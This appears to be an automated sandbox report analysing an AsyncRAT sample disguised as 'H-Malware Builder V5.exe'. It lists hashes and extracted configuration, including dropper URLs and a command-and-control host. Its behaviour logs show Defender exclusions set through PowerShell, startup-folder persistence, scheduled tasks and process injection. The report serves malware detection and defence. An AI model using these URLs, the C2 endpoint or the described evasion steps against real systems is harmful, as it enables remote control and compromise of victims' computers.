asyncrat | c981ebcf0c0cf857162ae35b9385c22d3198c2ec9ea00e37fcfe74a79eb3510e

Resubmissions

04-12-2024 07:47

241204-jmh8dsyjgs 10

03-12-2024 09:46

241203-lrs99szmav 10

Analysis

max time kernel
135s
max time network
146s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
04-12-2024 07:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

H-Malware Builder V5.exe
Size

407KB
MD5

c8f6d76b4ae82978272bde392561c4f4
SHA1

80447d36fcf88cc9caa806db53e22d9468cc31ee
SHA256

c981ebcf0c0cf857162ae35b9385c22d3198c2ec9ea00e37fcfe74a79eb3510e
SHA512

10fa87f050a9ceb658e443317158ef8b1dbaa9e183ec61b5e5e42adb562f7918d996134aba7f0bbad852def4d6b0824c7b9716628b554194d0fd95974de6b2ad
SSDEEP

12288:r5p4UNBN3aqeKNoRfwoZrHMBV9EwEcb8+DvtuWUb:r9N3aqPCRooZwBjEhcYcvYWUb

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://github.com/MalwareTeam/SecurityHealthService/raw/main/SecurityHealthService.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

bay-helps.gl.at.ply.gg:36538

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 412 created 648	412	Stub.exe	5

Async RAT payload 2 IoCs

rat

resource	yara_rule
behavioral3/files/0x001b00000002aad0-23.dat	family_asyncrat
behavioral3/memory/412-42-0x000001E633F10000-0x000001E633F22000-memory.dmp	family_asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	972	powershell.exe
3	972	powershell.exe
5	1396	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 50 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4804	powershell.exe
1496	powershell.exe
4432	powershell.exe
1636	powershell.exe
2504	powershell.exe
448	powershell.exe
1304	powershell.exe
3360	powershell.exe
876	powershell.exe
4168	powershell.exe
740	powershell.exe
4916	powershell.exe
448	powershell.exe
928	powershell.exe
3520	powershell.exe
848	powershell.exe
2208	powershell.exe
3340	powershell.exe
3772	powershell.exe
1136	powershell.exe
4016	powershell.exe
3576	powershell.exe
1564	powershell.exe
4284	powershell.exe
736	powershell.exe
2388	powershell.exe
3400	powershell.exe
4700	powershell.exe
5012	powershell.exe
3736	powershell.exe
3656	powershell.exe
1816	powershell.exe
2948	powershell.exe
2068	powershell.exe
3592	powershell.exe
1796	powershell.exe
1008	powershell.exe
1500	powershell.exe
4996	powershell.exe
4124	powershell.exe
3536	powershell.exe
5036	powershell.exe
1384	powershell.exe
2688	powershell.exe
2092	powershell.exe
552	powershell.exe
1140	powershell.exe
5000	powershell.exe
2952	powershell.exe
2792	powershell.exe

Drops startup file 45 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe	H-Malware Builder V5.exe

Executes dropped EXE 1 IoCs

pid	Process
412	Stub.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 412 set thread context of 4548	412	Stub.exe	81

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 62 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\System32\ci.dll,-101 = "Enclave"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={AFFC60BB-A5D1-4221-B940-35474D23C2B6}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Wed, 04 Dec 2024 07:48:45 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1733298524"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\System32\fveui.dll,-844 = "BitLocker Data Recovery Agent"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\System32\fveui.dll,-843 = "BitLocker Drive Encryption"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
464	SCHTASKS.exe
3068	SCHTASKS.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4168	powershell.exe
4168	powershell.exe
412	Stub.exe
4548	dllhost.exe
4548	dllhost.exe
972	powershell.exe
972	powershell.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
972	powershell.exe
972	powershell.exe
4548	dllhost.exe
4548	dllhost.exe
1396	powershell.exe
1396	powershell.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
972	powershell.exe
1396	powershell.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4016	powershell.exe
4548	dllhost.exe
4548	dllhost.exe
1396	powershell.exe
4016	powershell.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
1396	powershell.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
4548	dllhost.exe
740	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3352	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4168	powershell.exe
Token: SeDebugPrivilege	412	Stub.exe
Token: SeDebugPrivilege	412	Stub.exe
Token: SeDebugPrivilege	4548	dllhost.exe
Token: SeDebugPrivilege	972	powershell.exe
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeDebugPrivilege	4016	powershell.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	740	powershell.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	4700	powershell.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	448	powershell.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	552	powershell.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	4996	powershell.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	4432	powershell.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	4916	powershell.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	3576	powershell.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeShutdownPrivilege	3352	Explorer.EXE
Token: SeCreatePagefilePrivilege	3352	Explorer.EXE
Token: SeDebugPrivilege	2948	powershell.exe

Suspicious use of SetWindowsHookEx 29 IoCs

pid	Process
1708	Conhost.exe
4284	Conhost.exe
5004	Conhost.exe
3632	Conhost.exe
8	Conhost.exe
3628	Conhost.exe
3488	Conhost.exe
4888	Conhost.exe
4404	Conhost.exe
2824	Conhost.exe
1720	Conhost.exe
3528	Conhost.exe
5076	Conhost.exe
432	Conhost.exe
908	Conhost.exe
3340	Conhost.exe
4656	Conhost.exe
4888	Conhost.exe
404	Conhost.exe
228	Conhost.exe
576	Conhost.exe
4740	Conhost.exe
5056	Conhost.exe
3736	Conhost.exe
4024	Conhost.exe
2724	Conhost.exe
2332	Conhost.exe
1464	Conhost.exe
1692	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1144 wrote to memory of 4168	1144	H-Malware Builder V5.exe	77
PID 1144 wrote to memory of 4168	1144	H-Malware Builder V5.exe	77
PID 1144 wrote to memory of 412	1144	H-Malware Builder V5.exe	79
PID 1144 wrote to memory of 412	1144	H-Malware Builder V5.exe	79
PID 1144 wrote to memory of 3880	1144	H-Malware Builder V5.exe	80
PID 1144 wrote to memory of 3880	1144	H-Malware Builder V5.exe	80
PID 412 wrote to memory of 4548	412	Stub.exe	81
PID 412 wrote to memory of 4548	412	Stub.exe	81
PID 412 wrote to memory of 4548	412	Stub.exe	81
PID 412 wrote to memory of 4548	412	Stub.exe	81
PID 412 wrote to memory of 4548	412	Stub.exe	81
PID 412 wrote to memory of 4548	412	Stub.exe	81
PID 412 wrote to memory of 4548	412	Stub.exe	81
PID 412 wrote to memory of 4548	412	Stub.exe	81
PID 412 wrote to memory of 4548	412	Stub.exe	81
PID 412 wrote to memory of 4548	412	Stub.exe	81
PID 412 wrote to memory of 4548	412	Stub.exe	81
PID 412 wrote to memory of 3752	412	Stub.exe	82
PID 412 wrote to memory of 3752	412	Stub.exe	82
PID 412 wrote to memory of 464	412	Stub.exe	84
PID 412 wrote to memory of 464	412	Stub.exe	84
PID 412 wrote to memory of 3068	412	Stub.exe	85
PID 412 wrote to memory of 3068	412	Stub.exe	85
PID 3752 wrote to memory of 972	3752	cmd.exe	88
PID 3752 wrote to memory of 972	3752	cmd.exe	88
PID 4548 wrote to memory of 648	4548	dllhost.exe	5
PID 4548 wrote to memory of 704	4548	dllhost.exe	7
PID 4548 wrote to memory of 996	4548	dllhost.exe	12
PID 4548 wrote to memory of 488	4548	dllhost.exe	13
PID 4548 wrote to memory of 772	4548	dllhost.exe	14
PID 4548 wrote to memory of 1056	4548	dllhost.exe	15
PID 4548 wrote to memory of 1096	4548	dllhost.exe	17
PID 4548 wrote to memory of 1184	4548	dllhost.exe	18
PID 4548 wrote to memory of 1200	4548	dllhost.exe	19
PID 4548 wrote to memory of 1252	4548	dllhost.exe	20
PID 4548 wrote to memory of 1260	4548	dllhost.exe	21
PID 4548 wrote to memory of 1268	4548	dllhost.exe	22
PID 4548 wrote to memory of 1360	4548	dllhost.exe	23
PID 4548 wrote to memory of 1424	4548	dllhost.exe	24
PID 4548 wrote to memory of 1520	4548	dllhost.exe	25
PID 4548 wrote to memory of 1628	4548	dllhost.exe	26
PID 4548 wrote to memory of 1652	4548	dllhost.exe	27
PID 4548 wrote to memory of 1660	4548	dllhost.exe	28
PID 4548 wrote to memory of 1748	4548	dllhost.exe	29
PID 4548 wrote to memory of 1828	4548	dllhost.exe	30
PID 4548 wrote to memory of 1836	4548	dllhost.exe	31
PID 4548 wrote to memory of 1928	4548	dllhost.exe	32
PID 4548 wrote to memory of 2008	4548	dllhost.exe	33
PID 4548 wrote to memory of 2016	4548	dllhost.exe	34
PID 4548 wrote to memory of 1980	4548	dllhost.exe	35
PID 4548 wrote to memory of 1768	4548	dllhost.exe	36
PID 4548 wrote to memory of 2140	4548	dllhost.exe	37
PID 4548 wrote to memory of 2264	4548	dllhost.exe	39
PID 4548 wrote to memory of 2392	4548	dllhost.exe	40
PID 4548 wrote to memory of 2448	4548	dllhost.exe	41
PID 4548 wrote to memory of 2456	4548	dllhost.exe	42
PID 4548 wrote to memory of 2516	4548	dllhost.exe	43
PID 4548 wrote to memory of 2616	4548	dllhost.exe	44
PID 4548 wrote to memory of 2632	4548	dllhost.exe	45
PID 4548 wrote to memory of 2644	4548	dllhost.exe	46
PID 4548 wrote to memory of 2664	4548	dllhost.exe	47
PID 4548 wrote to memory of 2668	4548	dllhost.exe	48
PID 4548 wrote to memory of 3056	4548	dllhost.exe	49
PID 4548 wrote to memory of 2816	4548	dllhost.exe	50

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:648
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:488
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{a5ba3c22-3e5a-4616-b1fd-42fc5a4d721b}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4548

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1056

